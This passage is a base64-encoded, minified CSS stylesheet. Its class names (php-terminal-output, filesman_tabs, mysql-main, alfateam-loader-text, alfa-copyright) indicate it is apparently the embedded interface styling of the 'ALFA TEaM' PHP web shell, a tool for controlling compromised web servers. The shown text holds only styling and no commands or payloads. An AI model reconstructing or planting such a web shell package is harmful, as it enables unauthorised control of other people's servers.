Q6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO2JhY2tncm91bmQ6IzIwMWUxZWFkfSNzaG9ydGN1dE1lbnUtaG9sZGVye3Bvc2l0aW9uOmFic29sdXRlO3RvcDo0MCU7bGVmdDo1MCU7dHJhbnNmb3JtOnRyYW5zbGF0ZSgtNTAlLC01MCUpO2JhY2tncm91bmQ6IzFmMWUxZWRiO2hlaWdodDoxOTBweDt3aWR0aDo1MDBweDtjb2xvcjojZmZmfSNzaG9ydGN1dE1lbnUtaG9sZGVyPi5wb3B1cC1oZWFke2JhY2tncm91bmQ6IzIwNzE3NDtwYWRkaW5nOjZweDtib3JkZXItdG9wOjEwcHg7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtjb2xvcjojZmZmfSNzaG9ydGN1dE1lbnUtaG9sZGVyPmZvcm17cGFkZGluZzoxMHB4fSNzaG9ydGN1dE1lbnUtaG9sZGVyPmZvcm0+bGFiZWx7ZGlzcGxheTpibG9ja30jc2hvcnRjdXRNZW51LWhvbGRlcj5mb3JtPmlucHV0e3dpZHRoOjk5JTtoZWlnaHQ6MjRweDttYXJnaW4tdG9wOjRweDtjb2xvcjojZmZmO291dGxpbmU6MDtmb250LXNpemU6MTZweH0jc2hvcnRjdXRNZW51LWhvbGRlcj4ucG9wdXAtZm9vdHtmbG9hdDpyaWdodDtoZWlnaHQ6MzBweDttYXJnaW4tcmlnaHQ6OHB4fSNzaG9ydGN1dE1lbnUtaG9sZGVyPi5wb3B1cC1mb290PmJ1dHRvbntoZWlnaHQ6MTAwJTtjdXJzb3I6cG9pbnRlcjtjb2xvcjojZmZmO291dGxpbmU6MH0ucGhwLXRlcm1pbmFsLW91dHB1dHtvdmVyZmxvdzphdXRvO2hlaWdodDo4NiU7Ym9yZGVyOjFweCBzb2xpZCAjMWU1NjczO2JvcmRlci1yYWRpdXM6MTBweH0uY21kLWhpc3RvcnktaG9sZGVye3Zpc2liaWxpdHk6aGlkZGVuO29wYWNpdHk6MDtwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjojZGZmM2Q1O2JhY2tncm91bmQ6IzA5M2Q1ODt0b3A6LTMwMHB4O2hlaWdodDozMDBweDt3aWR0aDpjYWxjKDY5JSArIC0xMXB4KTtib3JkZXItcmFkaXVzOjEwcHggMTBweCAwIDA7bGVmdDpjYWxjKDIlIC0gOXB4KTt0cmFuc2l0aW9uOnZpc2liaWxpdHkgLjVzLG9wYWNpdHkgLjVzIGxpbmVhcn0uY21kLWhpc3RvcnktaG9sZGVyIC5jb21tYW5kcy1oaXN0b3J5LWhlYWRlcntiYWNrZ3JvdW5kOiMzNzUwNGU7dGV4dC1hbGlnbjpjZW50ZXI7Ym9yZGVyLXJhZGl1czoxMHB4IDEwcHggMCAwfS5jbWQtaGlzdG9yeS1pY29ue3dpZHRoOjI3cHg7dG9wOjZweDtsZWZ0OmNhbGMoNjklICsgNXB4KTtwb3NpdGlvbjphYnNvbHV0ZTtjdXJzb3I6cG9pbnRlcn0uaGlzdG9yeS1jbWQtbGluZXtwYWRkaW5nOjRweDtib3JkZXItYm90dG9tOjFweCBkYXNoZWQ7Y3Vyc29yOnBvaW50ZXJ9Lmhpc3RvcnktY21kLWxpbmU6aG92ZXJ7YmFja2dyb3VuZDojOTYxMTExfSNteVVMLCNteVVMIHVse2xpc3Qtc3R5bGUtdHlwZTpub25lfSNteVVMe21hcmdpbjowO3BhZGRpbmc6MH0uYm94e2N1cnNvcjpwb2ludGVyOy13ZWJraXQtdXNlci1zZWxlY3Q6bm9uZTstbW96LXVzZXItc2VsZWN0Om5vbmU7LW1zLXVzZXItc2VsZWN0Om5vbmU7dXNlci1zZWxlY3Q6bm9uZX0uYm94OjpiZWZvcmV7Y29udGVudDoiXDI2MTAiO2NvbG9yOiMwMDA7ZGlzcGxheTppbmxpbmUtYmxvY2s7bWFyZ2luLXJpZ2h0OjZweH0uY2hlY2stYm94OjpiZWZvcmV7Y29udGVudDoiXDI2MTEiO2NvbG9yOiMxZTkwZmZ9Lm5lc3RlZHtkaXNwbGF5Om5vbmV9LmFjdGl2ZXtkaXNwbGF5OmJsb2NrfS5mbGFnLWhvbGRlcj5pbWd7d2lkdGg6MjBweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7cGFkZGluZy1sZWZ0OjZweH0jb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfaG9sZGVye3Bvc2l0aW9uOnJlbGF0aXZlO2Rpc3BsYXk6bm9uZTtvdmVyZmxvdzphdXRvO21pbi1oZWlnaHQ6MzAwcHg7bWF4LWhlaWdodDpjYWxjKDEwMHZoIC0gMTAwcHgpfSNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc19ob2xkZXIgLmhlYWRlcnttaW4taGVpZ2h0OjUwdmh9I29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX2hvbGRlci5vcHRpb25faXNfYWN0aXZle2Rpc3BsYXk6YmxvY2t9I29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYntwYWRkaW5nOjVweDttYXJnaW4tbGVmdDoxNHB4O21hcmdpbi1yaWdodDozMHB4O2JhY2tncm91bmQ6IzAwMDtib3JkZXItYm90dG9tOjdweCBzb2xpZCAjMGYzMDRhO2JvcmRlci1sZWZ0OjdweCBzb2xpZCAjMGYzMDRhO2JvcmRlci1yaWdodDo3cHggc29saWQgIzBmMzA0YTtvdmVyZmxvdy14OmF1dG87d2hpdGUtc3BhY2U6bm93cmFwfSNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWIgaW1nLCNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgLnRhYl9uYW1lIGltZywuZWRpdG9yLXRhYi1uYW1lIGltZywuc3FsLXRhYnMgLnNxbC10YWJuYW1lIGltZywudGVybWluYWwtdGFicyAudGVybWluYWwtdGFiIGltZ3t3aWR0aDoxMHB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTttYXJnaW4tbGVmdDo1cHh9I2ZpbGVzbWFuX3RhYnMgLmZpbGVzbWFuX3RhYiwjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIC50YWJfbmFtZSwuZWRpdG9yLXRhYi1uYW1lLC5zcWwtdGFicyAuc3FsLW5ld3RhYiwuc3FsLXRhYnMgLnNxbC10YWJuYW1lLC50ZXJtaW5hbC10YWJzIC50ZXJtaW5hbC10YWJ7ZGlzcGxheTppbmxpbmUtYmxvY2s7YmFja2dyb3VuZC1jb2xvcjojMTMzZDUxO2JvcmRlci1yYWRpdXM6NHB4O3BhZGRpbmc6NXB4O2NvbG9yOiNmZmY7bWFyZ2luLXJpZ2h0OjNweDtwYWRkaW5nOjVweDtjdXJzb3I6cG9pbnRlcjttYXJnaW4tYm90dG9tOjFweDt0cmFuc2l0aW9uOmJhY2tncm91bmQtY29sb3IgLjVzfSNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWJ7bWluLXdpZHRoOjU1cHg7dGV4dC1hbGlnbjpjZW50ZXJ9I2ZpbGVzbWFuX3RhYnMgLmZpbGVzbWFuX3RhYjpob3Zlciwjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIC50YWJfbmFtZTpob3ZlciwuZWRpdG9yLXRhYi1uYW1lOmhvdmVyLC5zcWwtdGFicyAuc3FsLXRhYm5hbWU6aG92ZXIsLnRlcm1pbmFsLXRhYnMgLnRlcm1pbmFsLXRhYjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNhMjM5Mzl9LmVkaXRvci10YWJzLC5zcWwtdGFicywudGVybWluYWwtdGFic3twYWRkaW5nOjVweDtvdmVyZmxvdy14OmF1dG87d2hpdGUtc3BhY2U6bm93cmFwfS5vcHRpb25zLWxvYWRlci1ob2xkZXJ7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDowO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7YmFja2dyb3VuZDojMmIyNjI2Yzc7ei1pbmRleDoxMX0ub3B0aW9ucy1sb2FkZXItaG9sZGVyIGltZ3twb3NpdGlvbjphYnNvbHV0ZTt0b3A6MzIlO2xlZnQ6NDUlO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTt3aWR0aDoxMDBweDthbmltYXRpb246c3BpbiAycyBpbmZpbml0ZX0jZmlsZXNtYW5fdGFicyAuZmlsZXNtYW5fdGFiLmZpbGVzbWFuLXRhYi1hY3RpdmUsI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiAudGFiX25hbWUudGFiX2lzX2FjdGl2ZSwuZWRpdG9yLXRhYi1uYW1lLmVkaXRvci10YWItYWN0aXZlLC5zcWwtdGFibmFtZS5zcWwtYWN0aXZlLXRhYiwudGVybWluYWwtdGFiLmFjdGl2ZS10ZXJtaW5hbC10YWJ7YmFja2dyb3VuZC1jb2xvcjojMDA5Njg4fS50YWItaXMtZG9uZXthbmltYXRpb246MnMgdGFiX2NoYW5nZV9jb2xvciBpbmZpbml0ZSBzdGVwLWVuZH0uc3RvcEFqYXh7Y29sb3I6I2ZmZjtmb250LXNpemU6MjBweDtkaXNwbGF5OmlubGluZS1ibG9jaztwYWRkaW5nOjEwcHg7Y3Vyc29yOnBvaW50ZXJ9I2FfbG9hZGVye2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpmaXhlZDt0b3A6MDtsZWZ0OjA7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtiYWNrZ3JvdW5kOiMyYjI2MjZjNzt6LWluZGV4Ojk5fS5mbWFuYWdlci1yb3c+dGR7cG9zaXRpb246cmVsYXRpdmV9LmZtYW5hZ2VyLXJvdyAuc3ltbGlua19wYXRoe3Bvc2l0aW9uOmZpeGVkO21heC13aWR0aDoxMDAlO2JhY2tncm91bmQtY29sb3I6IzBmMzA0YTtib3JkZXItcmFkaXVzOjEwcHg7Zm9udC1zaXplOjE1cHg7cGFkZGluZzo4cHg7Y29sb3I6I2ZkZjRmNDtib3JkZXI6MXB4IHNvbGlkICM4YThhOGE7ei1pbmRleDoxO3BvaW50ZXItZXZlbnRzOm5vbmV9LmFyY2hpdmUtaWNvbnN7dmVydGljYWwtYWxpZ246bWlkZGxlfS5hcmNoaXZlLXR5cGUtZGlye2ZvbnQtd2VpZ2h0OmJvbGRlcn0uYXJjaGl2ZS10eXBlLWZpbGV7Zm9udC13ZWlnaHQ6dW5zZXR9LmFyY2hpdmUtbmFtZXtjdXJzb3I6cG9pbnRlcn0uYXJjaGl2ZV9kaXJfaG9sZGVyIGF7Y29sb3I6IzBmMDtmb250LXdlaWdodDpib2xkZXI7Y3Vyc29yOnBvaW50ZXJ9LmFyY2hpdmVfZGlyX2hvbGRlciBhOmhvdmVye2NvbG9yOiNmZmZ9LmVkaXRvci1jb250ZW50e2hlaWdodDoxMDAlfS5lZGl0b3ItY29udGVudC1ob2xkZXJ7aGVpZ2h0OjkwJX0uZWRpdG9yLWNvbnRlbnRze2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpyZWxhdGl2ZTtoZWlnaHQ6MTAwJX0uZWRpdG9yLWNvbnRlbnRzLmVkaXRvci1jb250ZW50LWFjdGl2ZXtkaXNwbGF5OmJsb2NrfS5oaXN0b3J5LXBhbmVsLWNvbnRyb2xsZXJ7cG9zaXRpb246YWJzb2x1dGU7Y29sb3I6I2ZmZjtwYWRkaW5nOjEwcHg7ei1pbmRleDoxMDAwO2JvcmRlci1yYWRpdXM6MTBweDt0b3A6NTAlO2xlZnQ6MTklO2JhY2tncm91bmQtY29sb3I6IzAwOTY4NztjdXJzb3I6cG9pbnRlcn0uc3FsLWNvbnRlbnR7ZGlzcGxheTpub25lO3Bvc2l0aW9uOnJlbGF0aXZlO21pbi1oZWlnaHQ6MzAwcHh9LnNxbC1jb250ZW50LnNxbC1hY3RpdmUtY29udGVudHtkaXNwbGF5OmJsb2NrfS5wYWdlcy1ob2xkZXJ7cGFkZGluZzo3cHh9LnBhZ2VzLW51bWJlcntkaXNwbGF5OmlubGluZS1ibG9jazttYXJnaW4tbGVmdDoxMHB4fS5wYWdlcy1ob2xkZXIgLnBhZ2VzLW51bWJlciBhLnBhZ2UtbnVtYmVye3BhZGRpbmc6NXB4O2JhY2tncm91bmQ6IzBmMzA0YTttYXJnaW4tcmlnaHQ6OHB4O2N1cnNvcjpwb2ludGVyO3dpZHRoOjMzcHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7dGV4dC1hbGlnbjpjZW50ZXI7Ym9yZGVyLXJhZGl1czo1cHg7Y29sb3I6I2ZmZjt0cmFuc2l0aW9uOmJhY2tncm91bmQgLjVzfS5hY3RpdmUtcGFnZS1udW1iZXJ7YmFja2dyb3VuZDojMTA5MjVjIWltcG9ydGFudH0ucGFnZXMtbnVtYmVyIGEucGFnZS1udW1iZXI6aG92ZXJ7YmFja2dyb3VuZDojOGE4YThhfS50ZXJtaW5hbC1jb250ZW50e2hlaWdodDoxMDAlfS50ZXJtaW5hbC1jb250ZW50LC50ZXJtaW5hbC10YWJ7ZGlzcGxheTpub25lfS50ZXJtaW5hbC1jb250ZW50LmFjdGl2ZS10ZXJtaW5hbC1jb250ZW50e2Rpc3BsYXk6YmxvY2s7cG9zaXRpb246cmVsYXRpdmV9LnRlcm1pbmFsLWJ0bi1mb250Y3Rse2JhY2tncm91bmQ6IzAwOTY4ODt3aWR0aDo1MHB4O2NvbG9yOiNmZmY7Zm9udC13ZWlnaHQ6Ym9sZGVyO291dGxpbmU6MDtjdXJzb3I6cG9pbnRlcn0uYWxlcnQtYXJlYXttYXgtaGVpZ2h0OjEwMCU7cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjVweDtsZWZ0OjIwcHg7cmlnaHQ6MjBweDt6LWluZGV4Ojk5OTl9LmFsZXJ0LWJveHtmb250LXNpemU6MTZweDtjb2xvcjojZmZmO2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuOSk7bGluZS1oZWlnaHQ6MS4zZW07cGFkZGluZzoxMHB4IDE1cHg7bWFyZ2luOjVweCAxMHB4O3Bvc2l0aW9uOnJlbGF0aXZlO2JvcmRlci1yYWRpdXM6NXB4O3RyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFzZS1pbjstd2Via2l0LWFuaW1hdGlvbjphbGVydC1zaGFrZSAuNXMgZWFzZS1pbi1vdXQ7YW5pbWF0aW9uOmFsZXJ0LXNoYWtlIC41cyBlYXNlLWluLW91dH0uYWxlcnQtY29udGVudC10aXRsZXtmb250LXdlaWdodDo3MDB9LmFsZXJ0LWJveC5hbGVydC1zdWNjZXNze2JhY2tncm91bmQ6cmdiYSg1NiwxMjcsNTYsLjg5KX0uYWxlcnQtZXJyb3J7YmFja2dyb3VuZDpyZ2JhKDE5MSw1NCw1NCwuODkpfS5hbGVydC1ib3guaGlkZXtvcGFjaXR5OjB9LmFsZXJ0LWNsb3Nle2JhY2tncm91bmQ6MCAwO3dpZHRoOjEycHg7aGVpZ2h0OjEycHg7cG9zaXRpb246YWJzb2x1dGU7dG9wOjE1cHg7cmlnaHQ6MTVweH0uYWxlcnQtY2xvc2U6YWZ0ZXIsLmFsZXJ0LWNsb3NlOmJlZm9yZXtjb250ZW50OiIiO3dpZHRoOjE1cHg7Ym9yZGVyLXRvcDpzb2xpZCAycHggI2ZmZjtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6NXB4O3JpZ2h0Oi0xcHg7ZGlzcGxheTpibG9ja30uYWxlcnQtY2xvc2U6YmVmb3Jle3RyYW5zZm9ybTpyb3RhdGUoNDVkZWcpfS5hbGVydC1jbG9zZTphZnRlcnt0cmFuc2Zvcm06cm90YXRlKDEzNWRlZyl9LmFsZXJ0LWNsb3NlOmhvdmVyOmFmdGVyLC5hbGVydC1jbG9zZTpob3ZlcjpiZWZvcmV7Ym9yZGVyLXRvcDpzb2xpZCAycHggI2Q4ZDhkOH1AbWVkaWEgKG1heC13aWR0aDo3NjdweCkgYW5kIChtaW4td2lkdGg6NDgxcHgpey5hbGVydC1hcmVhe2xlZnQ6MTAwcHg7cmlnaHQ6MTAwcHh9fUBtZWRpYSAobWluLXdpZHRoOjc2OHB4KXsuYWxlcnQtYXJlYXt3aWR0aDozNTBweDtsZWZ0OmF1dG87cmlnaHQ6MDt6LWluZGV4Ojk5OTl9fUBrZXlmcmFtZXMgdGFiX2NoYW5nZV9jb2xvcnswJXtiYWNrZ3JvdW5kLWNvbG9yOiMxMzNkNTF9NTAle2JhY2tncm91bmQtY29sb3I6Z3JlZW59fUAtd2Via2l0LWtleWZyYW1lcyBhbGVydC1zaGFrZXswJXstd2Via2l0LXRyYW5zZm9ybTp0cmFuc2xhdGVYKDApfTIwJXstd2Via2l0LXRyYW5zZm9ybTp0cmFuc2xhdGVYKC0xMHB4KX00MCV7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWCgxMHB4KX02MCV7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTBweCl9ODAley13ZWJraXQtdHJhbnNmb3JtOnRyYW5zbGF0ZVgoMTBweCl9MTAwJXstd2Via2l0LXRyYW5zZm9ybTp0cmFuc2xhdGVYKDApfX1Aa2V5ZnJhbWVzIGFsZXJ0LXNoYWtlezAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKDApfTIwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTBweCl9NDAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKDEwcHgpfTYwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTBweCl9ODAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKDEwcHgpfTEwMCV7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoMCl9fS50ZXh0RWZmZWN0e3Bvc2l0aW9uOmFic29sdXRlO3dpZHRoOjUwMHB4O3RvcDotMTBweDthbmltYXRpb246YWxlcnQtc2hha2UgLjVzIGVhc2UtaW4tb3V0O2FuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6Mn0uYWxmYXRlYW0tbG9hZGVyLXRleHR7cG9zaXRpb246YWJzb2x1dGU7Y29sb3I6IzQ2YmI0NTt0b3A6MjMlO2xlZnQ6NDklO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTtmb250LXNpemU6NDBweDtsZXR0ZXItc3BhY2luZzo3cHh9LmFsZmEtYWpheC1lcnJvcntwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjojZmYwYTBhO3RvcDo1MCU7bGVmdDo1MCU7dHJhbnNmb3JtOnRyYW5zbGF0ZSgtNTAlLC01MCUpO2ZvbnQtc2l6ZTozMHB4fS5jb25uZWN0aW9uLWhpc3QtdGFibGV7bWFyZ2luLWxlZnQ6YXV0bzttYXJnaW4tcmlnaHQ6YXV0bzt0ZXh0LWFsaWduOmp1c3RpZnk7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlfS5jb25uZWN0aW9uLWhpc3QtdGFibGUgdGQsLmNvbm5lY3Rpb24taGlzdC10YWJsZSB0aHtib3JkZXI6MXB4IHNvbGlkICNkZGQ7dGV4dC1hbGlnbjpsZWZ0O3BhZGRpbmc6OHB4fS5jb25uZWN0aW9uLWhpcy1idG57bWFyZ2luLWJvdHRvbToxMHB4O3BhZGRpbmc6NXB4O2JhY2tncm91bmQ6IzIwNjkyMDtjb2xvcjojZmZmO2JvcmRlcjpub25lO291dGxpbmU6MDtjdXJzb3I6cG9pbnRlcjtmb250LXdlaWdodDo3MDA7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kIC4zc30uY29ubmVjdGlvbi1oaXMtYnRuLmNvbm5lY3Rpb24tZGVsZXRle21hcmdpbjp1bnNldDtwYWRkaW5nOjVweDtiYWNrZ3JvdW5kOnJlZDt3aWR0aDozM3B4O2JvcmRlci1yYWRpdXM6M3B4O3RyYW5zaXRpb246YmFja2dyb3VuZCAuM3N9LmNvbm5lY3Rpb24tZGVsZXRlOmhvdmVye2JhY2tncm91bmQ6I2Y1Njk2OSFpbXBvcnRhbnR9LmNvbm5lY3Rpb24taGlzLWJ0bjpob3ZlcntiYWNrZ3JvdW5kOiMzMGIzMzB9I3VwX2Jhcl9ob2xkZXJ7cG9zaXRpb246Zml4ZWQ7ei1pbmRleDoxMDAwMDA7d2lkdGg6MTAwJX0jZmlsZXNtYW5fdGFic3twYWRkaW5nOjhweDtib3JkZXI6MXB4IHNvbGlkICMwZTMwNGE7Y29sb3I6IzY3YWJkZjtvdmVyZmxvdy14OmF1dG87d2hpdGUtc3BhY2U6bm93cmFwfS5zb3J0YWJsZS1naG9zdHtvcGFjaXR5Oi41O2JhY2tncm91bmQ6I2M4ZWJmYn0uZm9sZGVyLXRhYi1pY29ue3dpZHRoOjE2cHghaW1wb3J0YW50fSNmaWxlc21hbi10YWItZnVsbC1wYXRoe2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjphYnNvbHV0ZTtwb2ludGVyLWV2ZW50czpub25lO2JhY2tncm91bmQ6IzE2Mzc0NjtwYWRkaW5nOjdweDtjb2xvcjojMGYwO2JvcmRlci1yYWRpdXM6MTBweDttaW4td2lkdGg6NThweDt6LWluZGV4OjEwfSNmaWxlc21hbi10YWItZnVsbC1wYXRoOjphZnRlcntjb250ZW50OiIiO3Bvc2l0aW9uOmFic29sdXRlO3RvcDoxMDAlO2xlZnQ6MzVweDttYXJnaW4tbGVmdDotNXB4O2JvcmRlci13aWR0aDo1cHg7Ym9yZGVyLXN0eWxlOnNvbGlkO3BvaW50ZXItZXZlbnRzOm5vbmU7Ym9yZGVyLWNvbG9yOiMxNjM3NDYgdHJhbnNwYXJlbnQgdHJhbnNwYXJlbnQgdHJhbnNwYXJlbnR9Lm15c3FsLW1haW57aGVpZ2h0Ojg0dmg7cG9zaXRpb246cmVsYXRpdmV9Lm15c3FsLWhpZGUtY29udGVudHtkaXNwbGF5Om5vbmV9Lm15c3FsLXF1ZXJ5LXJlc3VsdC10YWJze21hcmdpbi1ib3R0b206MTBweDtwYWRkaW5nOjNweDtib3JkZXItYm90dG9tOjRweCBzb2xpZCAjMGYzMDRhfS5teXNxbC1tYWluIC50YWJsZXMtcGFuZWwtY3Rse3Bvc2l0aW9uOmFic29sdXRlO2NvbG9yOiNmZmY7cGFkZGluZzoxMHB4O3otaW5kZXg6MTtib3JkZXItcmFkaXVzOjEwcHg7dG9wOjQ1JTtsZWZ0OmNhbGMoMTclICsgMTBweCk7YmFja2dyb3VuZC1jb2xvcjojMDA5Njg3O2N1cnNvcjpwb2ludGVyfS50YWJsZXMtcGFuZWwtY3RsLW1pbntsZWZ0Oi0yMXB4IWltcG9ydGFudH0ubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2e2Rpc3BsYXk6aW5saW5lLWJsb2NrO3BhZGRpbmc6NXB4O21hcmdpbi1yaWdodDoycHg7YmFja2dyb3VuZDojMTMzZDUxO2NvbG9yOiNmZmY7Y3Vyc29yOnBvaW50ZXI7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kLWNvbG9yIC41c30ubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2OmhvdmVye2JhY2tncm91bmQtY29sb3I6I2EyMzkzOX0ubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Lm15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYntiYWNrZ3JvdW5kOnJlZH10YWJsZSB0ci50Ymxfcm93Om50aC1jaGlsZChvZGQpe2JhY2tncm91bmQ6IzQyNDA0MH0ubXlzcWwtdGFibGVzIC50YWJsZXMtcm93e21hcmdpbi1sZWZ0OjI2cHh9Lm15c3FsLW1haW4gLm15c3FsLXF1ZXJ5LXJlc3VsdHMsLm15c3FsLW1haW4gLm15c3FsLXRhYmxlc3tmbG9hdDpsZWZ0O2hlaWdodDoxMDAlO292ZXJmbG93OmF1dG99Lm15c3FsLW1haW4gLm15c3FsLXF1ZXJ5LXJlc3VsdHN7d2lkdGg6Y2FsYyg4MCUgKyA0cHgpO21hcmdpbi1sZWZ0OjVweDtwb3NpdGlvbjpyZWxhdGl2ZTtvdmVyZmxvdzp1bnNldH0ubXlzcWwtbWFpbiAubXlzcWwtcXVlcnktcmVzdWx0cy1maXhlZHt3aWR0aDoxMDAlfS5teXNxbC1tYWluIC5teXNxbC1xdWVyeS1yZXN1bHRzIC5teXNxbC1xdWVyeS1jb250ZW50e2hlaWdodDo4OSU7b3ZlcmZsb3c6YXV0b30ubXlzcWwtcXVlcnktdGFiLWhpZGV7aGVpZ2h0OjAhaW1wb3J0YW50O3BhZGRpbmc6MCFpbXBvcnRhbnR9Lm15c3FsLW1haW4gLm15c3FsLXRhYmxlc3t3aWR0aDoxOSU7Ym9yZGVyLXJpZ2h0OjRweCBzb2xpZCAjMGUzMDRhfS5teXNxbC1tYWluIHRhYmxlIHRke3ZlcnRpY2FsLWFsaWduOnRvcH0ubXlzcWwtbWFpbiAubXlzcWwtc2VhcmNoLWFyZWEgdGFibGUgdGR7dmVydGljYWwtYWxpZ246bWlkZGxlO3BhZGRpbmc6N3B4fS5teXNxbC10YWJsZXMgLmJsb2Nre3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOjEuNWVtO2hlaWdodDoxLjVlbTttaW4td2lkdGg6MTZweDttaW4taGVpZ2h0OjE2cHg7ZmxvYXQ6bGVmdH0ubXlzcWwtdGFibGVzIGRpdi5ibG9jayBiLC5teXNxbC10YWJsZXMgZGl2LmJsb2NrIGl7d2lkdGg6MS41ZW07aGVpZ2h0OjEuN2VtO21pbi13aWR0aDoxNnB4O21pbi1oZWlnaHQ6OHB4O3Bvc2l0aW9uOmFic29sdXRlO2JvdHRvbTouN2VtO2xlZnQ6Ljc1ZW07ei1pbmRleDowfS5teXNxbC10YWJsZXMgLmJsb2NrIGl7ZGlzcGxheTpibG9jaztib3JkZXItbGVmdDoxcHggc29saWQgIzY2Njtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjNjY2O3Bvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6MH0ubXlzcWwtdGFibGVzIC5ibG9jayBie2Rpc3BsYXk6YmxvY2s7aGVpZ2h0Oi43NWVtO2JvdHRvbTowO2xlZnQ6Ljc1ZW07Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM2NjZ9Lm15c3FsLXRhYmxlcyBkaXYuYmxvY2sgYSwubXlzcWwtdGFibGVzIGRpdi5ibG9jayB1e3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6NTAlO3RvcDo1MCU7ei1pbmRleDoxMH0ubXlzcWwtdGFibGVzIGRpdi5ibG9jayBpbWd7cG9zaXRpb246cmVsYXRpdmU7dG9wOi0uNmVtO2xlZnQ6MDttYXJnaW4tbGVmdDotN3B4fS5teXNxbC10YWJsZXMgLmNsZWFyZmxvYXR7Y2xlYXI6Ym90aH0ubXlzcWwtdGFibGVzIHVse2xpc3Qtc3R5bGUtdHlwZTpub25lO21hcmdpbi1sZWZ0OjA7cGFkZGluZzowfS5teXNxbC10YWJsZXMgdWwgbGl7d2hpdGUtc3BhY2U6bm93cmFwO2NsZWFyOmJvdGg7bWluLWhlaWdodDoxNnB4fS5teXNxbC10YWJsZXMgLmRiX25hbWV7bWFyZ2luLWxlZnQ6MTBweH0ubXlzcWwtdGFibGVzIC5saXN0X2NvbnRhaW5lcntib3JkZXItbGVmdDoxcHggc29saWQgIzY2NjttYXJnaW4tbGVmdDouNzVlbTtwYWRkaW5nLWxlZnQ6Ljc1ZW19LmhpZGUtZGItdGFibGVze2Rpc3BsYXk6bm9uZX0ubXlzcWwtbWFpbjphZnRlcntjb250ZW50OiIiO2Rpc3BsYXk6dGFibGU7Y2xlYXI6Ym90aH10YWJsZS5teXNxbC1kYXRhLXRibHtib3JkZXI6bm9uZSFpbXBvcnRhbnQ7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlIWltcG9ydGFudH10YWJsZS5teXNxbC1kYXRhLXRibCB0ciB0aHtwYWRkaW5nOjVweH10YWJsZS5teXNxbC1kYXRhLXRibCB0ZHtib3JkZXItbGVmdDozcHggc29saWQgIzMwNWE4ZDtib3JkZXItcmlnaHQ6M3B4IHNvbGlkICMzMDVhOGQ7cGFkZGluZzo2cHh9dGFibGUubXlzcWwtZGF0YS10YmwgdGQ6Zmlyc3QtY2hpbGR7Ym9yZGVyLWxlZnQ6bm9uZX10YWJsZS5teXNxbC1kYXRhLXRibCB0ZDpsYXN0LWNoaWxke2JvcmRlci1yaWdodDpub25lfS5teXNxbC1pbnNlcnQtcmVzdWx0LC5teXNxbC1zdHJ1Y3R1cmUtcXJlcywubXlzcWwtdXBkYXRlLXJlc3VsdHtkaXNwbGF5Om5vbmU7dGV4dC1hbGlnbjpjZW50ZXI7cGFkZGluZzoxMHB4O2JvcmRlcjoxcHggZGFzaGVkO21hcmdpbjoyMnB4fSNhbGZhLWNvcHlyaWdodHttYXJnaW4tdG9wOjE1cHh9LmljX2JfcGx1c3tiYWNrZ3JvdW5kLWltYWdlOnVybChodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvYl9wbHVzLnBuZyl9LmljX2JfbWludXN7YmFja2dyb3VuZC1pbWFnZTp1cmwoaHR0cDovL3NvbGV